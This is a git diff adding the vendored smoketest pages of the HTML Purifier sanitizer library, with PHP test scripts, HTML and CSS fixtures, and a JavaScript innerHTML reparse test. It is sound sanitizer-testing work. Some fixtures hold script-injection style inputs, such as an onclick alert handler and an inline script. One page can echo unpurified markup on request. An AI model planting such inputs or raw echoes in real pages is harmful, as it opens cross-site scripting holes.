+ <sample><![CDATA[]]></sample>
+ </group>
+ -->
+</samples>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/smoketests/basic.php b/vendor/ezyang/htmlpurifier/smoketests/basic.php
new file mode 100644
index 000000000..1c361727c
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/basic.php
@@ -0,0 +1,73 @@
+<?php
+
+require_once 'common.php';
+
+// todo : modularize the HTML in to separate files
+
+$allowed = array(
+ 'allElements' => true,
+ 'legacy' => true
+);
+
+$page = isset($_GET['p']) ? $_GET['p'] : false;
+if (!isset($allowed[$page])) $page = false;
+
+$strict = isset($_GET['d']) ? (bool) $_GET['d'] : false;
+
+echo '<?xml version="1.0" encoding="UTF-8" ?>';
+?>
+<?php if ($strict) { ?>
+<!DOCTYPE html
+ PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1- Strict.dtd">
+<?php } else { ?>
+<!DOCTYPE html
+ PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-loose.dtd">
+<?php } ?>
+<html>
+<head>
+ <title>HTML Purifier Basic Smoketest</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<?php
+ if ($page) {
+ if (file_exists("basic/$page.css")) {
+ ?><link rel="stylesheet" href="basic/<?php echo $page ?>.css" type="text/css" /><?php
+ }
+ }
+?>
+</head>
+<body>
+<?php
+
+if ($page) {
+?>
+<div style="float:right;"><div><?php echo $strict ? 'Strict' : 'Loose'; ?>:
+<a href="?d=<?php echo (int) !$strict; ?>&amp;p=<?php echo $page ?>">Swap</a></div>
+<a href="http://validator.w3.org/check?uri=referer"><img
+ src="http://www.w3.org/Icons/valid-xhtml10"
+ alt="Valid XHTML 1.0 Transitional" height="31" width="88" style="border:0;" /></a>
+</div>
+<?php
+ $config = HTMLPurifier_Config::createDefault();
+ $config->set('Attr.EnableID', true);
+ $config->set('HTML.Strict', $strict);
+ $purifier = new HTMLPurifier($config);
+ echo $purifier->purify(file_get_contents("basic/$page.html"));
+} else {
+ ?>
+ <h1>HTML Purifier Basic Smoketest Index</h1>
+ <ul>
+ <?php
+ foreach ($allowed as $val => $b) {
+ ?><li><a href="?p=<?php echo $val ?>"><?php echo $val ?></a></li><?php
+ }
+ ?></ul><?php
+}
+
+?>
+</body>
+</html>
+<?php
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/basic/allElements.css b/vendor/ezyang/htmlpurifier/smoketests/basic/allElements.css
new file mode 100644
index 000000000..20d7c5f2e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/basic/allElements.css
@@ -0,0 +1,50 @@
+div > * {background:#F00; color:#FFF; font-weight:bold; padding:0.2em; margin:0.1em;}
+#core-attributes #core-attributes-id,
+#core-attributes .core-attributes-class,
+#core-attributes div[title='tooltip'],
+#core-attributes div[lang='en'],
+#core-attributes div[onclick="alert('foo');"],
+#module-text abbr,
+#module-text acronym,
+#module-text div blockquote,
+#module-text blockquote[cite='http://www.example.com'],
+#module-text br,
+#module-text cite,
+#module-text code,
+#module-text dfn,
+#module-text em,
+#module-text h1,
+#module-text h2,
+#module-text h3,
+#module-text h4,
+#module-text h5,
+#module-text h6,
+#module-text kbd,
+#module-text p,
+#module-text pre,
+#module-text span q,
+#module-text q[cite='http://www.example.com'],
+#module-text samp,
+#module-text strong,
+#module-text var,
+#module-hypertext span a,
+#module-hypertext a[accesskey='q'],
+#module-hypertext a[charset='UTF-8'],
+#module-hypertext a[href='http://www.example.com/'],
+#module-hypertext a[hreflang='en'],
+#module-hypertext a[rel='nofollow'],
+#module-hypertext a[rev='index'],
+#module-hypertext a[tabindex='1'],
+#module-hypertext a[type='text/plain'],
+#module-list dl,
+#module-list ul,
+#module-list ol,
+#module-list li,
+#module-list dd,
+#module-list dt,
+.insert-declarations-above
+ {background:#008000; margin:0; padding:0.2em;}
+#module-text span, #module-text div {padding:0; margin:0.1em;}
+#module-list li, #module-list dd, #module-list dt {border:1px solid #FFF;}
+
+/* vim: et sw=4 sts=4 */
diff --git a/vendor/ezyang/htmlpurifier/smoketests/basic/allElements.html b/vendor/ezyang/htmlpurifier/smoketests/basic/allElements.html
new file mode 100644
index 000000000..994c8df46
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/basic/allElements.html
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!DOCTYPE html
+ PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-loose.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+ <title>HTML Purifier All Elements Smoketest</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <link rel="stylesheet" href="allElements.css" type="text/css" />
+</head>
+<body>
+
+<h1>HTML Purifier All Elements Smoketest</h1>
+
+<p>This is the all elements smoke
+test. It is divided by XHTML 1.1 style modules. Make sure
+<code>div</code>, <code>span</code> and <code>id</code> are allowed,
+otherwise there will be problems.</p>
+
+<h2>Core attributes</h2>
+<div id="core-attributes">
+ <div id="core-attributes-id">id</div>
+ <div class="core-attributes-class">class</div>
+ <div title="tooltip">title</div>
+ <div lang="en">lang</div>
+ <div xml:lang="en">xml:lang (green when lang also present)</div>
+ <div style="background:#008000">style</div>
+ <div onclick="alert('foo');">onclick (and other event handlers)</div>
+</div>
+
+<h2>Text module</h2>
+<div id="module-text">
+ <abbr>abbr</abbr>
+ <acronym>acronym</acronym>
+ <div><blockquote>blockquote</blockquote></div>
+ <blockquote cite="http://www.example.com">blockquote@cite</blockquote>
+ <br />
+ <cite>cite</cite>
+ <code>code</code>
+ <dfn>dfn</dfn>
+ <em>em</em>
+ <h1>h1</h1>
+ <h2>h2</h2>
+ <h3>h3</h3>
+ <h4>h4</h4>
+ <h5>h5</h5>
+ <h6>h6</h6>
+ <kbd>kbd</kbd>
+ <p>p</p>
+ <pre>pre</pre>
+ <span><q>q</q></span>
+ <q cite="http://www.example.com">q@cite</q>
+ <samp>samp</samp>
+ <strong>strong</strong>
+ <var>var</var>
+</div>
+
+<h2>Hypertext module</h2>
+<div id="module-hypertext">
+ <span><a>a</a></span>:
+ <a accesskey="q">accesskey</a>
+ <a charset="UTF-8">charset</a>
+ <a href="http://www.example.com/">href</a>
+ <a hreflang="en">hreflang</a>
+ <a rel="nofollow">rel</a>
+ <a rev="index">rev</a>
+ <a tabindex="1">tabindex</a>
+ <a type="text/plain">type</a>
+</div>
+
+<h2>List module</h2>
+<div id="module-list">
+ <dl><dt>dl dt</dt><dd>dl dd</dd></dl>
+ <ol><li>ol li</li></ol>
+ <ul><li>ul li</li></ul>
+</div>
+
+</body>
+</html>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.css b/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.css
new file mode 100644
index 000000000..fb600e400
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.css
@@ -0,0 +1,73 @@
+
+center,
+dir[compact='compact'],
+isindex[prompt='Foo'],
+menu[compact='compact'],
+s,
+u,
+strike,
+
+caption[align='bottom'],
+div[align='center'],
+dl[compact='compact'],
+
+h1[align='right'],
+h2[align='right'],
+h3[align='right'],
+h4[align='right'],
+h5[align='right'],
+h6[align='right'],
+
+hr[align='right'],
+hr[noshade='noshade'],
+hr[width='50'],
+hr[size='50'],
+
+img[align='right'],
+img[border='3'],
+img[hspace='5'],
+img[vspace='5'],
+
+input[align='right'],
+legend[align='center'],
+
+li[type='A'],
+li[value='5'],
+
+ol[compact='compact'],
+ol[start='3'],
+ol[type='I'],
+
+p[align='right'],
+
+pre[width='50'],
+
+table[align='right'],
+table[bgcolor='#0000FF'],
+
+tr[bgcolor='#0000FF'],
+
+td[bgcolor='#0000FF'],
+td[height='50'],
+td[nowrap='nowrap'],
+td[width='200'],
+
+th[bgcolor='#0000FF'],
+th[height='50'],
+th[nowrap='nowrap'],
+th[width='200'],
+
+ul[compact='compact'],
+ul[type='square'],
+
+.insert-declarations-above
+ {background:#008000; color:#FFF; font-weight:bold;}
+
+font {background:#BFB;}
+u {border:1px solid #000;}
+hr {height:1em;}
+hr[size='50'] {height:50px;}
+img[border='3'] {border: 3px solid #000;}
+li[type='a'], li[value='5'] {color:#DDD;}
+
+/* vim: et sw=4 sts=4 */
diff --git a/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.html b/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.html
new file mode 100644
index 000000000..0ff1c7b52
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/basic/legacy.html
@@ -0,0 +1,127 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!DOCTYPE html
+ PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-loose.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+ <title>HTML Purifier Legacy Smoketest Test Data</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <link rel="stylesheet" href="legacy.css" type="text/css" />
+</head>
+<body>
+
+<h1>HTML Purifier Legacy Smoketest Test Data</h1>
+
+<p>This is the legacy smoketest.</p>
+
+<h2>Elements</h2>
+
+<div>
+<div>
+ <basefont color="green" face="Arial" size="6" id="basefont" />
+ basefont: Green, Arial, size 6 text (IE-only)
+</div>
+
+<center>center</center>
+
+<dir compact="compact">
+ <li>dir</li>
+</dir>
+
+<font color="green" face="Arial" size="6">font: Green, Arial, size 6 text</font>
+
+isindex:
+<isindex prompt="Foo" />
+
+<menu compact="compact">
+ <li>menu</li>
+</menu>
+
+<s>s</s> <strike>strike</strike> <u>u</u>
+</div>
+
+<h2>Attributes</h2>
+
+<div>
+<!-- body -->
+
+<div style="font-size:42pt; float:left;">*</div>
+<br clear="left" />
+<p>br@clear (asterisk is up)</p>
+
+<table>
+ <caption align="bottom">caption@align</caption>
+ <tr><td>Cell</td></tr>
+</table>
+
+<div align="center">div@center</div>
+
+<dl compact="compact">
+ <dt>dl@compact</dt>
+</dl>
+
+<h1 align="right">h1</h1>
+<h2 align="right">h2</h2>
+<h3 align="right">h3</h3>
+<h4 align="right">h4</h4>
+<h5 align="right">h5</h5>
+<h6 align="right">h6</h6>
+
+hr@align
+<hr align="right" width="50" />
+hr@noshade
+<hr noshade="noshade" />
+hr@width
+<hr width="50" />
+hr@size
+<hr size="50" />
+
+<img src="" alt="img@align" align="right" /> |
+<img src="" alt="img@border" border="3" /> |
+<img src="" alt="img@hspace" hspace="5" /> |
+<img src="" alt="img@vspace" vspace="5" />
+
+<!-- needs context -->
+<input align="right" />
+<legend align="center">Legend</legend>
+
+<ol>
+ <li type="A">li@type (ensure that it's a capital A)</li>
+ <li value="5">li@value</li>
+</ol>
+
+<ol compact="compact"><li>ol@compact</li></ol>
+<ol start="3"><li>ol@start</li></ol>
+<ol type="I"><li>ol@type</li></ol>
+
+<p align="right">p@align</p>
+
+<pre width="50">pre@width</pre>
+
+<script language="JavaScript">document.writeln('script');</script>
+
+<table align="right"><tr><td>table@align</td></tr></table>
+<table bgcolor="#0000FF"><tr><td>table@bgcolor</td></tr></table>
+
+<table><tr bgcolor="#0000FF"><td>tr@bgcolor</td></tr></table>
+
+<table><tr><td bgcolor="#0000FF">td@bgcolor</td></tr></table>
+<table><tr><td height="50">td@height</td></tr></table>
+<table><tr><td nowrap="nowrap">td@nowrap</td></tr></table>
+<table><tr><td width="200">td@width</td></tr></table>
+
+<table><tr><th bgcolor="#0000FF">th@bgcolor</th></tr></table>
+<table><tr><th height="50">th@height</th></tr></table>
+<table><tr><th nowrap="nowrap">th@nowrap</th></tr></table>
+<table><tr><th width="200">th@width</th></tr></table>
+
+<ul compact="compact"><li>ul@compact</li></ul>
+<ul type="square"><li>ul@square</li></ul>
+
+</div>
+
+</body>
+</html>
+
+<!-- vim: et sw=4 sts=4
+-->
diff --git a/vendor/ezyang/htmlpurifier/smoketests/cacheConfig.php b/vendor/ezyang/htmlpurifier/smoketests/cacheConfig.php
new file mode 100644
index 000000000..642a75316
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/cacheConfig.php
@@ -0,0 +1,14 @@
+<?php
+
+require_once 'common.php';
+
+$config = HTMLPurifier_Config::createDefault();
+$config->set('HTML.Doctype', 'HTML 4.01 Strict');
+$config->set('HTML.Allowed', 'b,a[href],br');
+$config->set('CSS.AllowTricky', true);
+$config->set('URI.Disable', true);
+$serial = $config->serialize();
+
+$result = unserialize($serial);
+$purifier = new HTMLPurifier($result);
+echo htmlspecialchars($purifier->purify('<b>Bold</b><br><i><a href="http://google.com">no</a> formatting</i>'));
diff --git a/vendor/ezyang/htmlpurifier/smoketests/common.php b/vendor/ezyang/htmlpurifier/smoketests/common.php
new file mode 100644
index 000000000..b2c2b4bb4
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/common.php
@@ -0,0 +1,39 @@
+<?php
+
+header('Content-type: text/html; charset=UTF-8');
+
+if (!isset($_GET['standalone'])) {
+ require_once '../library/HTMLPurifier.auto.php';
+} else {
+ require_once '../library/HTMLPurifier.standalone.php';
+}
+error_reporting(E_ALL);
+
+function escapeHTML($string)
+{
+ $string = HTMLPurifier_Encoder::cleanUTF8($string);
+ $string = htmlspecialchars($string, ENT_COMPAT, 'UTF-8');
+ return $string;
+}
+
+if (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) {
+ function fix_magic_quotes(&$array)
+ {
+ foreach ($array as $k => $val) {
+ if (!is_array($val)) {
+ $array[$k] = stripslashes($val);
+ } else {
+ fix_magic_quotes($array[$k]);
+ }
+ }
+ }
+
+ fix_magic_quotes($_GET);
+ fix_magic_quotes($_POST);
+ fix_magic_quotes($_COOKIE);
+ fix_magic_quotes($_REQUEST);
+ fix_magic_quotes($_ENV);
+ fix_magic_quotes($_SERVER);
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/configForm.php b/vendor/ezyang/htmlpurifier/smoketests/configForm.php
new file mode 100644
index 000000000..90e80ac56
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/configForm.php
@@ -0,0 +1,77 @@
+<?php
+
+require_once 'common.php';
+
+// Setup environment
+require_once '../extras/HTMLPurifierExtras.auto.php';
+$interchange = HTMLPurifier_ConfigSchema_InterchangeBuilder::buildFromDirectory('test-schema/');
+$interchange->validate();
+
+if (isset($_GET['doc'])) {
+
+ // Hijack page generation to supply documentation
+
+ if (file_exists('test-schema.html') && !isset($_GET['purge'])) {
+ echo file_get_contents('test-schema.html');
+ exit;
+ }
+
+ $style = 'plain';
+ $configdoc_xml = 'test-schema.xml';
+
+ $xml_builder = new HTMLPurifier_ConfigSchema_Builder_Xml();
+ $xml_builder->openURI($configdoc_xml);
+ $xml_builder->build($interchange);
+ unset($xml_builder); // free handle
+
+ $xslt = new ConfigDoc_HTMLXSLTProcessor();
+ $xslt->importStylesheet("../configdoc/styles/$style.xsl");
+ $xslt->setParameters(array(
+ 'css' => '../configdoc/styles/plain.css',
+ ));
+ $html = $xslt->transformToHTML($configdoc_xml);
+
+ unlink('test-schema.xml');
+ file_put_contents('test-schema.html', $html);
+ echo $html;
+
+ exit;
+}
+
+?><!DOCTYPE html
+ PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head>
+ <title>HTML Purifier Config Form Smoketest</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <link rel="stylesheet" href="../library/HTMLPurifier/Printer/ConfigForm.css" type="text/css" />
+ <script defer="defer" type="text/javascript" src="../library/HTMLPurifier/Printer/ConfigForm.js"></script>
+</head>
+<body>
+<h1>HTML Purifier Config Form Smoketest</h1>
+<p>This file outputs the configuration form for every single type
+of directive possible.</p>
+<form id="htmlpurifier-config" name="htmlpurifier-config" method="get" action=""
+style="float:right;">
+<?php
+
+$schema_builder = new HTMLPurifier_ConfigSchema_Builder_ConfigSchema();
+$schema = $schema_builder->build($interchange);
+
+$config = HTMLPurifier_Config::loadArrayFromForm($_GET, 'config', true, true, $schema);
+$printer = new HTMLPurifier_Printer_ConfigForm('config', '?doc#%s');
+echo $printer->render(array(HTMLPurifier_Config::createDefault(), $config));
+
+?>
+</form>
+<pre>
+<?php
+echo htmlspecialchars(var_export($config->getAll(), true));
+?>
+</pre>
+</body>
+</html>
+<?php
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/dataScheme.php b/vendor/ezyang/htmlpurifier/smoketests/dataScheme.php
new file mode 100644
index 000000000..7c0bbdc36
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/dataScheme.php
@@ -0,0 +1,37 @@
+<?php
+
+require_once 'common.php';
+
+echo '<?xml version="1.0" encoding="UTF-8" ?>';
+?><!DOCTYPE html
+ PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+ <title>HTML Purifier data Scheme Smoketest</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+</head>
+<body>
+<h1>HTML Purifier data Scheme Smoketest</h1>
+<?php
+
+$string = '<img src="data:image/png;base64,
+iVBORw0KGgoAAAANSUhEUgAAAAoAAAAKCAYAAACNMs+9AAAABGdBTUEAALGP
+C/xhBQAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9YGARc5KB0XV+IA
+AAAddEVYdENvbW1lbnQAQ3JlYXRlZCB3aXRoIFRoZSBHSU1Q72QlbgAAAF1J
+REFUGNO9zL0NglAAxPEfdLTs4BZM4DIO4C7OwQg2JoQ9LE1exdlYvBBeZ7jq
+ch9//q1uH4TLzw4d6+ErXMMcXuHWxId3KOETnnXXV6MJpcq2MLaI97CER3N0
+vr4MkhoXe0rZigAAAABJRU5ErkJggg==" alt="Red dot" />';
+
+$purifier = new HTMLPurifier(array('URI.AllowedSchemes' => 'data'));
+
+?>
+<div><?php
+echo $purifier->purify($string);
+?></div>
+
+</body>
+</html>
+<?php
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/extractStyleBlocks.php b/vendor/ezyang/htmlpurifier/smoketests/extractStyleBlocks.php
new file mode 100644
index 000000000..bb330b5f2
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/extractStyleBlocks.php
@@ -0,0 +1,73 @@
+<?php
+
+require_once 'common.php';
+require_once 'HTMLPurifier/Filter/ExtractStyleBlocks.php';
+
+// need CSSTidy location
+$csstidy_location = false;
+if (file_exists('../conf/test-settings.php')) include '../conf/test-settings.php';
+if (file_exists('../test-settings.php')) include '../test-settings.php';
+
+if (!$csstidy_location) {
+?>
+Error: <a href="http://csstidy.sourceforge.net/">CSSTidy</a> library not
+found, please install and configure <code>test-settings.php</code>
+accordingly.
+<?php
+ exit;
+}
+
+require_once $csstidy_location . 'class.csstidy.php';
+require_once $csstidy_location . 'class.csstidy_print.php';
+
+$purifier = new HTMLPurifier(array(
+ 'Filter.ExtractStyleBlocks' => true,
+));
+
+$html = isset($_POST['html']) ? $_POST['html'] : '';
+$purified_html = $purifier->purify($html);
+
+?><!DOCTYPE html
+ PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html>
+<head>
+ <title>Extract Style Blocks - HTML Purifier Smoketest</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<?php
+
+// generate style blocks
+foreach ($purifier->context->get('StyleBlocks') as $style) {
+?><style type="text/css">
+<!--/*--><![CDATA[/*><!--*/
+<?php echo $style; ?>
+
+/*]]>*/-->
+</style>
+<?php
+}
+
+?>
+</head>
+<body>
+<h1>Extract Style Blocks</h1>
+<p>
+ This smoketest allows users to specify global style sheets for the
+ document, allowing for interesting techniques and compact markup
+ that wouldn't normally be possible, using the ExtractStyleBlocks filter.
+</p>
+<p>
+ User submitted content:
+</p>
+<div style="border: 1px solid #CCC; margin: 1em; padding: 1em;">
+ <?php echo $purified_html ?>
+</div>
+<form action="" method="post">
+ <textarea cols="100" rows="20" name="html"><?php echo escapeHTML($html) ?></textarea>
+ <input type="submit" value="Submit" />
+</form>
+</body>
+</html>
+<?php
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/img.png b/vendor/ezyang/htmlpurifier/smoketests/img.png
new file mode 100644
index 000000000..a755bcb5e
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/img.png
Binary files differ
diff --git a/vendor/ezyang/htmlpurifier/smoketests/innerHTML.html b/vendor/ezyang/htmlpurifier/smoketests/innerHTML.html
new file mode 100644
index 000000000..0b840f182
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/innerHTML.html
@@ -0,0 +1,33 @@
+<html>
+<head>
+ <title>innerHTML smoketest</title>
+</head>
+<body>
+<!--
+
+What we're going to do is use JavaScript to calculate
+fixpoints of innerHTML parse and reparsing. We start with
+an input value, encoded in a JavaScript string.
+
+x.innerHTML = input
+
+We then snapshot the DOM state of x, and then perform the
+iteration:
+
+intermediate = x.innerHTML
+x.innerHTML = intermediate
+
+What inputs are we going to test?
+
+We will generate using the following alphabet:
+
+ a01~!@#$%^&*()_+`-=[]\{}|;':",./<>? (and <space>)
+
+
+
+-->
+<textarea id="out" style="width:100%;height:100%;"></textarea>
+<div id="testContainer" style="display:none"></div>
+<script src="innerHTML.js" type="text/javascript"></script>
+</body>
+</html>
diff --git a/vendor/ezyang/htmlpurifier/smoketests/innerHTML.js b/vendor/ezyang/htmlpurifier/smoketests/innerHTML.js
new file mode 100644
index 000000000..74ccbb688
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/innerHTML.js
@@ -0,0 +1,51 @@
+var alphabet = 'a!`=[]\\;\':"/<> &';
+
+var out = document.getElementById('out');
+var testContainer = document.getElementById('testContainer');
+
+function print(s) {
+ out.value += s + "\n";
+}
+
+function testImage() {
+ return testContainer.firstChild;
+}
+
+function test(input) {
+ var count = 0;
+ var oldInput, newInput;
+ testContainer.innerHTML = "<img />";
+ testImage().setAttribute("alt", input);
+ print("------");
+ print("Test input: " + input);
+ do {
+ oldInput = testImage().getAttribute("alt");
+ var intermediate = testContainer.innerHTML;
+ print("Render: " + intermediate);
+ testContainer.innerHTML = intermediate;
+ if (testImage() == null) {
+ print("Image disappeared...");
+ break;
+ }
+ newInput = testImage().getAttribute("alt");
+ print("New value: " + newInput);
+ count++;
+ } while (count < 5 && newInput != oldInput);
+ if (count == 5) {
+ print("Failed to achieve fixpoint");
+ }
+ testContainer.innerHTML = "";
+}
+
+print("Go!");
+
+test("`` ");
+test("'' ");
+
+for (var i = 0; i < alphabet.length; i++) {
+ for (var j = 0; j < alphabet.length; j++) {
+ test(alphabet.charAt(i) + alphabet.charAt(j));
+ }
+}
+
+// document.getElementById('out').textContent = alphabet;
diff --git a/vendor/ezyang/htmlpurifier/smoketests/preserveYouTube.php b/vendor/ezyang/htmlpurifier/smoketests/preserveYouTube.php
new file mode 100644
index 000000000..1dfa85cb6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/preserveYouTube.php
@@ -0,0 +1,72 @@
+<?php
+
+require_once 'common.php';
+
+echo '<?xml version="1.0" encoding="UTF-8" ?>';
+?><!DOCTYPE html
+ PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+ <title>HTML Purifier Preserve YouTube Smoketest</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+</head>
+<body>
+<h1>HTML Purifier Preserve YouTube Smoketest</h1>
+<?php
+
+$string = '<object width="425" height="350"><param name="movie" value="http://www.youtube.com/v/BdU--T8rLns"></param><param name="wmode" value="transparent"></param><embed src="http://www.youtube.com/v/BdU--T8rLns" type="application/x-shockwave-flash" wmode="transparent" width="425" height="350"></embed></object>
+
+<object width="416" height="337"><param name="movie" value="http://www.youtube.com/cp/vjVQa1PpcFNbP_fag8PvopkXZyiXyT0J8U47lw7x5Fc="></param><embed src="http://www.youtube.com/cp/vjVQa1PpcFNbP_fag8PvopkXZyiXyT0J8U47lw7x5Fc=" type="application/x-shockwave-flash" width="416" height="337"></embed></object>
+
+<object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/uNxBeJNyAqA&hl=en_US&fs=1&"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/uNxBeJNyAqA&hl=en_US&fs=1&" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385"></embed></object>
+
+<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" height="385" width="480"><param name="width" value="480" /><param name="height" value="385" /><param name="src" value="http://www.youtube.com/p/E37ADDDFCA0FD050&amp;hl=en" /><embed height="385" src="http://www.youtube.com/p/E37ADDDFCA0FD050&amp;hl=en" type="application/x-shockwave-flash" width="480"></embed></object>
+
+<object
+ classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
+ id="ooyalaPlayer_229z0_gbps1mrs" width="630" height="354"
+ codebase="http://fpdownload.macromedia.com/get/flashplayer/current/swflash.cab"><param
+ name="movie" value="http://player.ooyala.com/player.swf?embedCode=FpZnZwMTo1wqBF-ed2__OUBb3V4HR6za&version=2"
+ /><param name="bgcolor" value="#000000" /><param
+ name="allowScriptAccess" value="always" /><param
+ name="allowFullScreen" value="true" /><param name="flashvars"
+ value="embedType=noscriptObjectTag&embedCode=pteGRrMTpcKMyQ052c8NwYZ5M5FdSV3j"
+ /><embed src="http://player.ooyala.com/player.swf?embedCode=FpZnZwMTo1wqBF-ed2__OUBb3V4HR6za&version=2"
+ bgcolor="#000000" width="630" height="354"
+ name="ooyalaPlayer_229z0_gbps1mrs" align="middle" play="true"
+ loop="false" allowscriptaccess="always" allowfullscreen="true"
+ type="application/x-shockwave-flash"
+ flashvars="&embedCode=FpZnZwMTo1wqBF-ed2__OUBb3V4HR6za"
+ pluginspage="http://www.adobe.com/go/getflashplayer"></embed></object>
+';
+
+$regular_purifier = new HTMLPurifier();
+
+$safeobject_purifier = new HTMLPurifier(array(
+ 'HTML.SafeObject' => true,
+ 'Output.FlashCompat' => true,
+));
+
+?>
+<h2>Unpurified</h2>
+<p><a href="?break">Click here to see the unpurified version (breaks validation).</a></p>
+<div><?php
+if (isset($_GET['break'])) echo $string;
+?></div>
+
+<h2>Without YouTube exception</h2>
+<div><?php
+echo $regular_purifier->purify($string);
+?></div>
+
+<h2>With SafeObject exception and flash compatibility</h2>
+<div><?php
+echo $safeobject_purifier->purify($string);
+?></div>
+
+</body>
+</html>
+<?php
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/smoketests/printDefinition.php b/vendor/ezyang/htmlpurifier/smoketests/printDefinition.php
new file mode 100644
index 000000000..201a07a1a
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/smoketests/printDefinition.php
@@ -0,0 +1,119 @@
+<?php
+
+require_once 'common.php'; // load library
+
+require_once 'HTMLPurifier/Printer/HTMLDefinition.php';
+require_once 'HTMLPurifier/Printer/CSSDefinition.php';
+require_once 'HTMLPurifier/Printer/ConfigForm.php';
+
+$config = HTMLPurifier_Config::loadArrayFromForm($_GET, 'config', 'HTML');
+
+// you can do custom configuration!
+if (file_exists('printDefinition.settings.php')) {
+ include 'printDefinition.settings.php';
+}
+
+$gen_config = HTMLPurifier_Config::createDefault();
+$printer_html_definition = new HTMLPurifier_Printer_HTMLDefinition();
+$printer_html_definition->prepareGenerator($gen_config);
+$printer_css_definition = new HTMLPurifier_Printer_CSSDefinition();
+$printer_css_definition->prepareGenerator($gen_config);
+
+$printer_config_form = new HTMLPurifier_Printer_ConfigForm(
+ 'config',
+ 'http://htmlpurifier.org/live/configdoc/plain.html#%s'
+);
+
+echo '<?xml version="1.0" encoding="UTF-8" ?>';
+
+?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+ "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+ <title>HTML Purifier Printer Smoketest</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+ <style type="text/css">
+ .hp-config {margin-left:auto; margin-right:auto;}
+ .HTMLPurifier_Printer table {border-collapse:collapse;
+ border:1px solid #000; width:600px;
+ margin:1em auto;font-family:sans-serif;font-size:75%;}
+ .HTMLPurifier_Printer td, .HTMLPurifier_Printer th {padding:3px;
+ border:1px solid #000;background:#CCC; vertical-align: baseline;}
+ .HTMLPurifier_Printer th {text-align:left;background:#CCF;width:20%;}
+ .HTMLPurifier_Printer caption {font-size:1.5em; font-weight:bold;}
+ .HTMLPurifier_Printer .heavy {background:#99C;text-align:center;}
+ .HTMLPurifier_Printer .unsafe {background:#C99;}
+ dt {font-weight:bold;}
+ </style>
